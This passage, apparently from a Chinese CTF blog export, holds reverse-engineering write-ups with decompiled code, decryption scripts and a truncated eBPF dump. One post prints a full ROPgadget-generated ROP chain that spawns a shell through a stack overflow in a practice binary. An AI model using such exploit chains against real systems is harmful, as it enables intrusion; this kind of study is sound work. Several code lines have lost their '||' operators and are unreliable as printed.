如下为两个进程内人函数。\n//StartAddress函数void __stdcall StartAddress_0(int a1){ while ( 1 ) { WaitForSingleObject(hObject, 0xFFFFFFFF); if ( dword_418008 > -1 ) { sub_41112C(&Source, dword_418008); --dword_418008; Sleep(0x64u); } ReleaseMutex(hObject); }}\n\n//sub_411B10函数void __stdcall sub_411B10(int a1){ while ( 1 ) { WaitForSingleObject(hObject, 0xFFFFFFFF); if ( dword_418008 > -1 ) { Sleep(0x64u); --dword_418008; } ReleaseMutex(hObject); }}\n\n    注意到,两个函数均作 –dword_418008,但只有一方对 Source 进行 sub_41112C,以及各自都有一个Sleep(0x64),可知两个线程交替进行。\n    如下为 sub_411190 函数内容\n//sub_411940函数char *__cdecl sub_411940(int a1, int a2){ char *result; // eax char v3; // [esp+D3h] [ebp-5h] v3 = *(a2 + a1); if ( (v3 < 97 v3 > 122) && (v3 < 65 v3 > 90) ) exit(0); if ( v3 < 97 v3 > 122 ) { result = off_418000[0]; *(a2 + a1) = off_418000[0][*(a2 + a1) - 38]; } else { result = off_418000[0]; *(a2 + a1) = off_418000[0][*(a2 + a1) - 96]; } return result;}\n\n\n    函数逻辑较为简单:每次取 Source[dword_418008] ,根据If条件进行运算,总共运算次数应为 15 次\n    解密脚本不留神给删掉了,就不放了,其他师傅那肯定都能找到。\n    最后是比较函数。本没什么可说的地方,但本题稍有不同。\n//sub_411880函数int sub_411880(){ int i; // [esp+D0h] [ebp-8h] for ( i = 0; i < 29; ++i ) { if ( Source[i] != off_418004[i] ) exit(0); } return printf("\\nflag{%s}\\n\\n", Destination);}\n\n    由此代码可知其判断字符数应为 29 个。\n    密文为:TOiZiZtOrYaToUwPnToBsOaOapsyS 其字符数也是 29\n    但上述分析中明显可以看出,最终的flag长度应为 30 个字符,最后一个字符并没有确切方法,通过遍历得出为 ‘E’\nⅡ.\nHANDLE CreateMutexW(//创建或打开一个已命名或未命名的互斥对象。 LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL bInitialOwner, LPCWSTR lpName);//本题中将hObject所指线程置空\n\nHANDLE CreateThread(//创建一个线程以在调用进程的虚拟地址空间内执行 LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);//本题中为StartAddress函数建立一个子线程以运行该函数//v4同理\n\n\n以下将拓展些许有关“线程”的概念:\n    一个程序在运行时占用整个进程,一个进程可以建立多个线程。这些线程能够并行(指同时进行代码处理)以加快程序的运行速度。线程的定义不在这里赘述,以下内容为线程在运用过程中的知识。\n    线程能分为 “对等线程”  “分离线程” 和 “主线程”\n    当一个处理器在处理一个线程时遇到慢速系统调用(sleep、read等)等需要消耗较多时间的处理需求时,控制便通过上下文切换传送到下一个对等进程\n\n参考本题:\n StartAddress 与 sub_41119F 均有一个sleep函数。当该进程进行到该函数时,控制自动切换到另外一个线程并运行,并在另外一个线程中遇到Sleep,则又切换回原进程,因此才有加密 15 次\n    但上述也提到,线程是并行的。这两个线程并不是严谨的交替,而是因为Sleep(0x64)这段时间足够将线程中的所有内容运行结束而有余,因此才造成了交替运行的结果\n   注:Sleep函数的参数以毫秒为单位\n\n    和一个进程相关的线程将会组成一个对等线程池,独立于其他线程创立的子线程\n    主线程是所有对等线程中优先级最高的线程(这是它们的唯一区别)\n    不过对于上述线程的分类,还有一个更加合理的分类: “可结合” 与 “分离”\n    可结合的线程能够被任何其他线程回收或关闭,且在回收之前,其占用的内存资源不会释放;可分离的线程则不可被其他线程关闭,其内存资源将在终止时自动释放\n    另外一个需要注意的是不同线程间的共享变量\n    一个进程将被加载入一块虚拟内存,而其创造的所有线程都能够访问虚拟内存的任何地方\n    也就是说,线程的虚拟内存总是共享的;相反的,其寄存器从不会共享,不同线程无法调用其他线程的寄存器\n    既然虚拟内存是共享的,也就是说,每个线程的栈堆是共享的;只要线程能够获取其他线程的指针,就能够调用该线程的栈堆(由此也可推出:将一个线程中的变量入栈,则其他线程便能够调用它)\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"BUUCTF - inndy_rop 杂谈、32位与64位系统调用、与思考","url":"/2021/09/07/buuctfinndy-rop/","content":"​\n         总之先从题目开始看吧,是一道非常简单但却让我长见识的题……\nint overflow(){ char v1[12]; // [esp+Ch] [ebp-Ch] BYREF return gets(v1);}\n\n\n        明显的栈溢出,且程序基本没有特别的保护,正常构造rop链即可拿到shell\n        主要是想拓展一下系统调用与一个简单的获取ROP方法\nROPgadget --binary rop --ropchain\n\n\nROP chain generation===========================================================- Step 1 -- Write-what-where gadgets[+] Gadget found: 0x8050cc5 mov dword ptr [esi], edi ; pop ebx ; pop esi ; pop edi ; ret[+] Gadget found: 0x8048433 pop esi ; ret[+] Gadget found: 0x8048480 pop edi ; ret[-] Can't find the 'xor edi, edi' gadget. Try with another 'mov [r], r'[+] Gadget found: 0x805466b mov dword ptr [edx], eax ; ret[+] Gadget found: 0x806ecda pop edx ; ret[+] Gadget found: 0x80b8016 pop eax ; ret[+] Gadget found: 0x80492d3 xor eax, eax ; ret- Step 2 -- Init syscall number gadgets[+] Gadget found: 0x80492d3 xor eax, eax ; ret[+] Gadget found: 0x807a66f inc eax ; ret- Step 3 -- Init syscall arguments gadgets[+] Gadget found: 0x80481c9 pop ebx ; ret[+] Gadget found: 0x80de769 pop ecx ; ret[+] Gadget found: 0x806ecda pop edx ; ret- Step 4 -- Syscall gadget[+] Gadget found: 0x806c943 int 0x80- Step 5 -- Build the ROP chain#!/usr/bin/env python2# execve generated by ROPgadgetfrom struct import pack# Padding goes herep = ''p += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080b8016) # pop eax ; retp += '/bin'p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea064) # @ .data + 4p += pack('<I', 0x080b8016) # pop eax ; retp += '//sh'p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x080492d3) # xor eax, eax ; retp += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080ea060) # @ .datap += pack('<I', 0x080de769) # pop ecx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x0806ecda) # pop edx ; retp += pack('<I', 0x080ea068) # @ .data + 8p += pack('<I', 0x080492d3) # xor eax, eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0807a66f) # inc eax ; retp += pack('<I', 0x0806c943) # int 0x80\n\n\n         ‘–ropchain’参数能够直接生成一条rop链来get shell\n        其具体的构造方式不必细究,实际上笔者在写rop的时候也肯定不会这样写,不过结论来说,只需要加上合适的偏移就能在本题中直接拿到shell,倒是非常方便\n      后日谈:这种生成方式相当机械,部分gadget稍有缺失就会导致生成失败,因此实际环境中可能并不好用,况且PIE开启时,就可能完全派不上用场了\n然后是本篇的正文:\n        在阅读了其生成的ROP链之后,笔者好奇地搜了一下是否有“syscall”指令,因为上述是通过“int 0x80”来陷入内核的,那为什么不用syscall呢?\n        参考本贴:https://www.cnblogs.com/Max-hhg/articles/14266574.html\n        两者的差异只有传参规则、指令与调用号不同而已\n        32位:EBX、ECX、EDX、ESI、EDI、EBP\n        64位:RDI、RSI、RDX、R10、R8、R9\n        而在32位系统中使用 “int 0x80”,而64位系统中使用“syscall”,仅此而已的差别\n后话:\n        本来有点好奇,“为什么32位程序里会出现syscall指令”,后来对着IDA找汇编指令才发现,ROPgadget识别到的syscall在IDA里连对应的地址都找不到。\n        实际上就是把原本的指令字节分割一下,然后单独取出能被当作syscall的字节\n        嘛……这么来看还怪没有意义的…… ​\n插画IDA:92121278\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"BUUCTF - 网鼎杯 2020 青龙组 - jocker 分析与记录","url":"/2021/07/01/buuctfjocker/","content":"​\n         无壳,IDA打开可以直接进入main函数:\n​\n        第12行调用VirtualProtect函数更改了offset encrypt处的访问保护权限\nBOOL VirtualProtect( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);\n\n\n\n参见:https://docs.microsoft.com/en-us/windows/win32/memory/memory-protection-constants\n\n         该处数据为0x4:PAGE_READWRITE\n\nEnables read-only or read/write access to the committed region of pages. If Data Execution Prevention is enabled, attempting to execute code in the committed region results in an access violation.\n\n        简单来说就是让这块数据能够被读写了(通常text段中只能拥有读/写中的一种)\n        继续往下读,发现输入值应该符合 24字节 的长度,然后遇到wrong 和 omg这两个函数\nchar *__cdecl wrong(char *a1){ char *result; // eax int i; // [esp+Ch] [ebp-4h] for ( i = 0; i <= 23; ++i ) { result = &a1[i]; if ( (i & 1) != 0 ) a1[i] -= i; else a1[i] ^= i; } return result;}\n\n\nint __cdecl omg(char *a1){ int result; // eax int v2[24]; // [esp+18h] [ebp-80h] BYREF int i; // [esp+78h] [ebp-20h] int v4; // [esp+7Ch] [ebp-1Ch] v4 = 1; qmemcpy(v2, &unk_4030C0, sizeof(v2)); for ( i = 0; i <= 23; ++i ) { if ( a1[i] != v2[i] ) v4 = 0; } if ( v4 == 1 ) result = puts("hahahaha_do_you_find_me?"); else result = puts("wrong ~~ But seems a little program"); return result;}\n\n\n        wrong对输入值进行了一些加减或异或处理,然后将结果在omg中同unk_4030C0处数据进行对比;wrong的逆算法容易实现,照抄就行了\n​\n         (现在才知道能够通过导出窗口快捷的提取出数据,一直以来的手抄实在是太笨了)\nunsigned int k[24] = { 0x66,0x6b,0x63,0x64,0x7f,0x61,0x67,0x64,0x3b,0x56,0x6b,0x61,0x7b,0x26,0x3b,0x50,0x63,0x5f,0x4d,0x5a,0x71,0xc,0x37,0x66 };for (int i = 0;i < 24; i++){if ((i & 1) != 0){k[i] += i;}else{k[i] ^= i;}cout << (char)k[i];}cout << endl;\n\n\n        得到结果flag{fak3_alw35_sp_me!!},提交发现错误;由于往下还有关键的encrypt段没分析,所以不用太怀疑flag是否算错,可以大胆的将它当作一个假的flag\n        再往下读for循环,发现它对offset encrypt进行了异或,判断其为代码段解密,可以用动调转到这个地方\n​\n​\n         IDA没能及时更新,需要我们手动修正为函数\n        选中00401500~0040152F,将其标为代码(Force)\n​\n         然后在00401502处创建函数,即可得到合适的结果\n​\n​\n// positive sp value has been detected, the output may be wrong!void __usercall __noreturn sub_401502(int a1@<ebp>){ unsigned __int32 v1; // eax v1 = __indword(0x57u); *(_DWORD *)(a1 - 32) = 1; qmemcpy((void *)(a1 - 108), &unk_403040, 0x4Cu); for ( *(_DWORD *)(a1 - 28) = 0; *(int *)(a1 - 28) <= 18; ++*(_DWORD *)(a1 - 28) ) { if ( (char)(*(_BYTE *)(*(_DWORD *)(a1 - 28) + *(_DWORD *)(a1 + 8)) ^ Buffer[*(_DWORD *)(a1 - 28)]) != *(_DWORD *)(a1 + 4 * *(_DWORD *)(a1 - 28) - 108) ) { puts("wrong ~"); *(_DWORD *)(a1 - 32) = 0; exit(0); } } if ( *(_DWORD *)(a1 - 32) == 1 ) puts("come here");}\n\n\n        IDA分析得到的代码并不是那么易读,显然,它将一些索引给翻译错了,但并非无法理解的程度\n        首先,提取unk_403040处的数据放入(a1-108)处,以及循环中用到的Buffer\nchar Buffer[] = "hahahaha_do_you_find_me?";unsigned int unk_403040[19] = {0x0E,0x0D ,0x09 ,0x06 ,0x13 ,0x05 ,0x58 ,0x56 ,0x3E ,0x06 ,0x0C ,0x3C ,0x1F ,0x57 ,0x14 ,0x6B ,0x57 ,0x59 ,0x0D };\n\n\n         *(a1-28)实际上是一个索引,指示了这个循环会执行19次;而(*(a1 - 28) + *(a1 + 8))相当于输入值指针加上一个偏移,其内容就是我们的输入值\n        这个输入值和Buffer异或后的结果应该等于(a1 - 108)的内容,也就是unk_403040处的数据,同样也容易写出解密代码\nchar key1[] = "hahahaha_do_you_find_me?";unsigned int f[19] = {0x0E,0x0D ,0x09 ,0x06 ,0x13 ,0x05 ,0x58 ,0x56 ,0x3E ,0x06 ,0x0C ,0x3C ,0x1F ,0x57 ,0x14 ,0x6B ,0x57 ,0x59 ,0x0D };for (int i = 0; i < 19; i++){f[i] ^= key1[i];cout << (char)f[i];}cout << endl;\n\n\n得到flag{d07abccf8a410c\n我们知道,flag应有24字节,但for循环只有19次,也就是缺少了5个字符;由于encrypt函数已经读完了,所以我们需要的结果应该在最后一个函数中,也就是finally函数\n​\n        将40159A~40159D处的数据全都转为代码,并将函数改为Undefine\n​\n         重新在40159A处创建函数,得到新函数finally:\n​\nint __cdecl finally(char *a1){ unsigned int v1; // eax int result; // eax char v3[9]; // [esp+13h] [ebp-15h] BYREF int v4; // [esp+1Ch] [ebp-Ch] strcpy(v3, "%tp&:"); v1 = time(0); srand(v1); v4 = rand() % 100; if ( (v3[*&v3[5]] != a1[*&v3[5]]) == v4 ) result = puts("Really??? Did you find it?OMG!!!"); else result = puts("I hide the last part, you will not succeed!!!"); return result;}\n\n\n        time(0)用以获取当前时间,第10行将其作为种子,第11行获取随机数;大概率我们是难以获取到出题人得到的种子的,因此,这个随机数若是必要的,应该只能通过预测得出\n        以及下面的if判断条件过于难以理解,不妨试着用OD去动调一下吧(个人觉得OD的动调会更好用一些,也好在这个函数没有被加密,OD还是能分析出来的,否则只能用IDA动调了,虽然没什么差别……)\n​\n        即便用OD动调也仍然不是很容易能够读懂其意义 \n        关键的比较在401617处,如果相等的话,就说明flag输对了\n        大致就是取flag的第几位同“**%tp&:**”几位,相等即可;并且这正好是5个字节,很可能就是剩下的flag\n        但汇编代码中似乎也同样没有相应的加密过程,只能靠猜测它没有被复杂的加密\n        通过前半段的flag猜测最后一个字符应该为‘}’,将其与“**%tp&:**”的最后一个异或后得到 71,并由此得到最后结果\nchar key2[] = "%tp&:";int v5 = '}' ^ key2[4];for (int i = 0; i < 5; i++){cout << (char)(key2[i] ^ v5);}//flag{d07abccf8a410cb37a}\n\n\n        我也试着将这个提交成功的flag输入进去,但它仍然不会输出成功的标识,可能是出题人的一点“恶意”吧……最后要靠猜测来得到结果,说实在的,有点难以释然,总觉得是不是自己看漏了什么重要内容…… ​\n插画ID:90713460\n","categories":["CTF题记","Note"],"tags":["CTF"]},{"title":"BUUCTF-RE-SimpleRev笔记与思考","url":"/2021/04/24/buuctfre-simplerev/","content":"封面ID: 89209550\n背景:\n    初学逆向,遇到的最大问题是“在知道原算法的情况下要如何得出逆算法”;一般的加减乘除确实只需要做相反操作即可,但对于异或和取余等运算则有些麻烦,于是试着写一些可能的解决方案。似乎是数论的内容,但题主目前还未学到那种程度,诸多密码学内容尚且不明,所以以后再作更新。\n​\n    题目本身是个简单的入门题,在逻辑上并没有难点。\n    (如下是IDA反编译Decry函数的伪代码,可能会因版本不同而略有差错)\nunsigned __int64 Decry(){ char v1; // [rsp+Fh] [rbp-51h] int v2; // [rsp+10h] [rbp-50h] int v3; // [rsp+14h] [rbp-4Ch] int i; // [rsp+18h] [rbp-48h] int v5; // [rsp+1Ch] [rbp-44h] char src[8]; // [rsp+20h] [rbp-40h] BYREF __int64 v7; // [rsp+28h] [rbp-38h] int v8; // [rsp+30h] [rbp-30h] __int64 v9[2]; // [rsp+40h] [rbp-20h] BYREF int v10; // [rsp+50h] [rbp-10h] unsigned __int64 v11; // [rsp+58h] [rbp-8h] v11 = __readfsqword(0x28u); *(_QWORD *)src = 0x534C43444ELL; v7 = 0LL; v8 = 0; v9[0] = 0x776F646168LL; v9[1] = 0LL; v10 = 0; text = (char *)join(key3, v9); strcpy(key, key1); strcat(key, src); v2 = 0; v3 = 0; getchar(); v5 = strlen(key); for ( i = 0; i < v5; ++i ) { if ( key[v3 % v5] > 64 && key[v3 % v5] <= 90 ) key[i] = key[v3 % v5] + 32; ++v3; } printf("Please input your flag:"); while ( 1 ) { v1 = getchar(); if ( v1 == 10 ) break; if ( v1 == 32 ) { ++v2; } else { if ( v1 <= 96 v1 > 122 ) { if ( v1 > 64 && v1 <= 90 ) { str2[v2] = (v1 - 39 - key[v3 % v5] + 97) % 26 + 97; ++v3; } } else { str2[v2] = (v1 - 39 - key[v3 % v5] + 97) % 26 + 97; ++v3; } if ( !(v3 % v5) ) putchar(32); ++v2; } } if ( !strcmp(text, str2) ) puts("Congratulation!\\n"); else puts("Try again!\\n"); return __readfsqword(0x28u) ^ v11;}\n\n\n主要逻辑:\n    顺逻辑:①获取text字数数组;②获取key数组;③将key数组中大写换为小写;④获取输入,通过key数组进行运算得到str2;⑤将text与str2比较,得出对错。\n    逆逻辑:①将text与str2进行比较;②获取str2(可知str2为输入,text为密文);③置换key数组得到新key;④得到原key;⑤得到text\nchar text[] = "killshadow";\n\n\nchar key[] = "adsfkndcls";\n\n\n    如上可以较为轻松的得出最终的key和text数组,那么关键只剩下如何通过逆运算得出明文了。\n如下代码为主要逻辑:\nwhile ( 1 ) { v1 = getchar(); if ( v1 == 10 ) break; if ( v1 == 32 ) { ++v2; } else { if ( v1 <= 96 v1 > 122 ) { if ( v1 > 64 && v1 <= 90 ) { str2[v2] = (v1 - 39 - key[v3 % v5] + 97) % 26 + 97; ++v3; } } else { str2[v2] = (v1 - 39 - key[v3 % v5] + 97) % 26 + 97; ++v3; } if ( !(v3 % v5) ) putchar(32); ++v2; } }\n\n\n运算规则:\n    输入一个字符 ’x‘,进行如下运算:(x-39-key[v3%v5]+97)%26+97\n   关键问题便是应该如何处理取余运算的逆运算以得到x。\n逆算法:\nfor (int i = 0;i<10; i++){ for (int j=0;j<5;j++) { str[i] = (text[i] - 97)+j*26+39+key[v3%v5]-97; if (str[i] >= 65 && str[i] <= 90) { v3++; break; } }}\n\n\n    翻阅了其他师傅们的WP,并没有特地说明为什么输入值都是字符,暂且当作是一种根据结果(密文只有字符)而来的猜测。\n    以下为一般的取模逆算法:\n\n\n\n    上述的B即为本体求解的flag。\n\n\n\n    最终做法为:遍历 i ,当结果符合“字符要求”时则保存该字符。(但我给出的脚本并没有包括小写范围,实际上并不影响,如果答案不符合只需要再加额外的判断条件即可)\n    本题还有一个比较特别的地方,在拼接text的时候,如果只通过手动运算,有可能会出错。\n​\n    这些字符明显和结果是逆序的,由于我是直接抄出了join函数的实现所以做题的时候并没有遇到这个问题,但事后才发现还有还存在这种问题。\n    起因来自Intel架构中的小端序存储方式,具体内容不在此赘述,从结论上来说便是所看到的与实际结果将成逆序。\n","categories":["CTF题记","Note"]},{"title":"GWCTF 2019 - xxor 笔记与思考","url":"/2021/05/14/gwctf-2019-xxor/","content":"插图ID : 85072434\n对我这种新手来说算是比较怪异的一题了,故此记录一下过程。\n解题过程:\n    直接放入IDA,并找到main函数,得到如下代码(看了一些其他师傅的WP,发现我们的IDA分析结果各不相同,最明显的就是HIDOWRD和LODWORD函数,该差异将在下文分析)\n__int64 __fastcall main(int a1, char **a2, char **a3){ int i; // [rsp+8h] [rbp-68h] int j; // [rsp+Ch] [rbp-64h] __int64 v6[6]; // [rsp+10h] [rbp-60h] BYREF __int64 v7[6]; // [rsp+40h] [rbp-30h] BYREF v7[5] = __readfsqword(0x28u); puts("Let us play a game?"); puts("you have six chances to input"); puts("Come on!"); v6[0] = 0LL; v6[1] = 0LL; v6[2] = 0LL; v6[3] = 0LL; v6[4] = 0LL; for ( i = 0; i <= 5; ++i ) { printf("%s", "input: "); a2 = (v6 + 4 * i); __isoc99_scanf("%d", a2); } v7[0] = 0LL; v7[1] = 0LL; v7[2] = 0LL; v7[3] = 0LL; v7[4] = 0LL; for ( j = 0; j <= 2; ++j ) { tmp1 = v6[j]; tmp2 = HIDWORD(v6[j]); a2 = &unk_601060; sub_400686(&tmp1, &unk_601060); LODWORD(v7[j]) = tmp1; HIDWORD(v7[j]) = tmp2; } if ( sub_400770(v7, a2) != 1 ) { puts("NO NO NO~ "); exit(0); } puts("Congratulation!\\n"); puts("You seccess half\\n"); puts("Do not forget to change input to hex and combine~\\n"); puts("ByeBye"); return 0LL;}\n\n\n逻辑分析:\n    分别输入 六个字符串 ,作v6用于储存输入,v7用于储存结果\n    在一个for循环中,将v6的数据一个个保存入tmp,并根据unk_601060的密码表进行sub_400686函数加密并放入v7\n    在sub_400770函数中比较 v7 和结果是否吻合(多余参数a2为IDA分析差错的结果,此处忽略不影响解题)\n    首先进入sub_400770以获取结果:\nunsigned int a1[6] = { 3746099070,550153460, 3774025685 ,1548802262 ,2652626477 ,2230518816 };\n\n\n注意点①:\n    刚入门逆向的臭毛病是习惯Hide casts隐藏指针以清晰代码方便阅读的,但在本题中,倘若不留意类型而直接隐藏,在IDA窗口中将得到这样的数据:\n//未隐藏指针的代码:注意到 v7 应该是一个unsigned int 数组 if ( (unsigned int)sub_400770(v7, a2) != 1 ) { puts("NO NO NO~ "); exit(0); }\n\n\nif ( a1[2] - a1[3] == 2225223423LL && a1[3] + a1[4] == 4201428739LL && a1[2] - a1[4] == 1121399208LL && *a1 == -548868226 && a1[5] == -2064448480 && a1[1] == 550153460 )\n\n\n    显然,这些数据并不是标准的unsigned int类型,在获取这些数据时应从汇编窗口逐个获取并计算,且存放数组使用相应的类型\n.text:00000000004007D0 mov [rbp+var_8], rax.text:00000000004007D4 mov eax, 84A236FFh.text:00000000004007D9 cmp [rbp+var_18], rax.text:00000000004007DD jnz short loc_400845.text:00000000004007DF mov eax, 0FA6CB703h.text:00000000004007E4 cmp [rbp+var_10], rax.text:00000000004007E8 jnz short loc_400845.text:00000000004007EA cmp [rbp+var_8], 42D731A8h.text:00000000004007F2 jnz short loc_400845.text:00000000004007F4 mov rax, [rbp+var_28].text:00000000004007F8 mov eax, [rax].text:00000000004007FA cmp eax, 0DF48EF7Eh.text:00000000004007FF jnz short loc_400834.text:0000000000400801 mov rax, [rbp+var_28].text:0000000000400805 add rax, 14h.text:0000000000400809 mov eax, [rax].text:000000000040080B cmp eax, 84F30420h.text:0000000000400810 jnz short loc_400834.text:0000000000400812 mov rax, [rbp+var_28].text:0000000000400816 add rax, 4.text:000000000040081A mov eax, [rax].text:000000000040081C cmp eax, 20CAACF4h\n\n\n    来到进行加密的for循环处:\nfor ( j = 0; j <= 2; ++j ) { tmp1 = v6[j]; tmp2 = HIDWORD(v6[j]); a2 = (char **)&unk_601060; sub_400686(&tmp1, &unk_601060); LODWORD(v7[j]) = tmp1; HIDWORD(v7[j]) = tmp2; }\n\n\n    可以注意到,IDA中并没有为tmp1、tmp2声明变量(实际上,它们本不是这个名字,但为了方便阅读而被我改成了这个名字;从汇编窗口可以知道它们均为4个字节的变量(int))\nunsigned int a1[6] = { 3746099070,550153460, 3774025685 ,1548802262 ,2652626477 ,2230518816 };int tmp1, tmp2;tmp1 = LODWORD(a1[0]);// -548868226tmp2 = HIDWORD(a1[1]);// 550153460\n\n\n    如上代码展示了LODWORD和HIDWORD的结果,乍一看似乎相当不同,但实际上这不过是一种比较别扭的写法罢了\n    注意到tmp2的结果和a1[1]相同,而将a1[0]的类型换为int之后也将得到与tmp1相同的结果,也就是说,这两个函数并没有起到任何作用,只是做了简单的赋值罢了\n    (尽管我想说具体问题具体分析,但倘若使用的是LOBYTE和HIBYTE的话,结果就将彻底不同了。但通常来说,出题人并不会特地去这样写,至少一般来说,并没有LODWORD这样的函数)\n注意点②:\n.text:0000000000400984 add [rbp+var_64], 2\n\n\n    该汇编代码为for循环中对变量 j 的操作\n    在C伪代码中可以看见为 **j++**,而在汇编中的结果显然应该是 j+=2,所以过于依赖伪代码的话在编写解密脚本时将遇到麻烦\n    因此我们可以知道,这个循环每次获取 v6 中的两个进行加密并放入\n    最后是加密函数本身:\n__int64 __fastcall sub_400686(unsigned int *a1, _DWORD *a2){ __int64 result; // rax unsigned int v3; // [rsp+1Ch] [rbp-24h] unsigned int v4; // [rsp+20h] [rbp-20h] int v5; // [rsp+24h] [rbp-1Ch] unsigned int i; // [rsp+28h] [rbp-18h] v3 = *a1; v4 = a1[1]; v5 = 0; for ( i = 0; i <= 0x3F; ++i ) { v5 += 1166789954; v3 += (v4 + v5 + 11) ^ ((v4 << 6) + *a2) ^ ((v4 >> 9) + a2[1]) ^ 0x20; v4 += (v3 + v5 + 20) ^ ((v3 << 6) + a2[2]) ^ ((v3 >> 9) + a2[3]) ^ 0x10; } *a1 = v3; result = v4; a1[1] = v4; return result;}\n\n\n    (应该记得,形参a1为输入流v6,a2为加密表{2,2,3,4}(DWORD类型数组每4字节一个,应将中间的0省略))\n    分别获取 v3为第一个数组,v4为第二个数字,v5为一个轮替变量\n    经过一个for循环后,将结果放回原数组\n    通过如上分析,应该就能写出差不多的解密脚本了,但还是有一些细节,这里也不好再多叙述,便就此打住吧\n解密脚本:\n#include<iostream>using namespace std;int main(){unsigned int a1[6] = { 3746099070,550153460, 3774025685 ,1548802262 ,2652626477 ,2230518816 };unsigned int table[4] = { 2,2,3,4 };unsigned int decode[6];int v5 = 1166789954 * (0x3F+1);unsigned int v3, v4;for (int i = 0; i <= 5; i+=2){int v5 = 0x458BCD42 * 64;v3 = a1[i];v4 = a1[i + 1];for (int j = 0; j <= 0x3F; j++){v4 -= (v3 + v5 + 20) ^ ((v3 << 6) + table[2]) ^ ((v3 >> 9) + table[3]) ^ 0x10;v3 -= (v4 + v5 + 11) ^ ((v4 << 6) + table[0]) ^ ((v4 >> 9) + table[1]) ^ 0x20;v5 -= 0x458BCD42;}decode[i] = v3;decode[i + 1] = v4;}for (int i = 0; i < 6; i++){printf("%x", decode[i]);//666c61677b72655f69735f6772656174217d}}\n\n\n注意点③:\n    最终得到的decode数组便是flag,但由于VS默认显示为10进制数,所以应该将结果输出为16进制数并另外进行转换\nunsigned int decode[6]={6712417, 6781810, 6643561, 7561063, 7497057, 7610749};\n\n\n​\n","categories":["CTF题记","Note"]},{"title":"HFCTF-2022 - TokameinE-二进制复现报告","url":"/2022/03/26/hfctf-2020-toka/","content":"前言姑且参加了比赛,赛题感觉都不错,适当做了个复现。PWN那边还有一道内核没复现,主要是受限于目前笔者的技术水平,内核部分的知识还不太够用,以后有机会了会另外复现的。\n最有意思的题目应该是 vdq 那题,属于是佩服做出来的师傅,那个最终的 payload 构造花了我一整天时间,整道题做了有两天半……怎么说呢,好痛苦啊。\n另外 fpbe 和 mva 也挺好玩的,前者主要是给我科普了一波 ebpf ,后者主要是笔者觉得自己写的 exp 挺精巧的,自我感觉还行。不过博客的模板似乎不识别五级标题,看着确实有点不舒服了……\n也欢迎师傅们捉虫。\nREVfpbe第一次接触ebfp的逆向,才知道其原理和分析方式(上次D3的那题ebfp没看)。\n主要逻辑只有几行:\nerr = uprobed_function(*array, array[1], array[2], array[3]); if ( err == 1 ) printf("flag: HFCTF{%s}\\n", flag, &flag[12], v7, v8, v9, argv);else puts("not flag");\n\n但比赛的时候因为对ebfp的执行逻辑不熟悉,以及IDA动调的时候没能真正模拟其执行流,以至于没能顺利写完这道逆向签到题。\n执行逻辑ebfp通过bpf_program__attach_uprobe将上述uprobed_function函数hook掉了:\nskel->links.uprobe = bpf_program__attach_uprobe( skel->progs.uprobe, 0, 0, "/proc/self/exe", uprobed_function - base_addr);\n\n当程序执行uprobed_function函数时,会通过内核的系统调用转移到hook的函数去。\n跟踪skel向下:\nfpbe_bpf__open_and_load->fpbe_bpf__open->fpbe_bpf__open_opts->fpbe_bpf__create_skeleton\n\nfpbe_bpf__create_skeleton中创建uprobe的具体内容如下:\nif ( s->progs ){ s->progs->name = "uprobe"; s->progs->prog = &obj->progs.uprobe; s->progs->link = &obj->links.uprobe; s->data_sz = 1648LL; s->data = &unk_4F4018; result = 0;}\n\n其中data是最终的执行代码,size为对应比特大小。接下来用gdb将其加载到内存,然后就可以用bpftool去dump出具体内容了:(有删减)\n 0: (79) r2 = *(u64 *)(r1 +104) //flag[2] 3: (79) r3 = *(u64 *)(r1 +112) //flag[3] 6: (bf) r4 = r3 7: (27) r4 *= 28096 8: (bf) r5 = r2 9: (27) r5 *= 64392 10: (0f) r5 += r4 11: (79) r4 = *(u64 *)(r1 +96) //flag[1] 14: (bf) r0 = r4 15: (27) r0 *= 29179 16: (0f) r5 += r0 17: (79) r1 = *(u64 *)(r1 +88) //flag[0] 24: (bf) r0 = r1 25: (27) r0 *= 52366 26: (0f) r5 += r0 27: (b7) r6 = 1 28: (18) r0 = 0xbe18a1735995 30: (5d) if r5 != r0 goto pc+66//0xbe18a1735995 == flag[0]*52366 + flag[1]*29179 + flag[2]*64392 + flag[3]*28096 31: (bf) r5 = r3 32: (27) r5 *= 61887 33: (bf) r0 = r2 34: (27) r0 *= 27365 35: (0f) r0 += r5 36: (bf) r5 = r4 37: (27) r5 *= 44499 38: (0f) r0 += r5 39: (bf) r5 = r1 40: (27) r5 *= 37508 41: (0f) r0 += r5 42: (18) r5 = 0xa556e5540340 44: (5d) if r0 != r5 goto pc+52//0xa556e5540340 == flag[0]*37508 + flag[1]*44499 + flag[2]*27365 + flag[3]*61887 45: (bf) r5 = r3 46: (27) r5 *= 56709 47: (bf) r0 = r2 48: (27) r0 *= 32808 49: (0f) r0 += r5 50: (bf) r5 = r4 51: (27) r5 *= 25901 52: (0f) r0 += r5 53: (bf) r5 = r1 54: (27) r5 *= 59154 55: (0f) r0 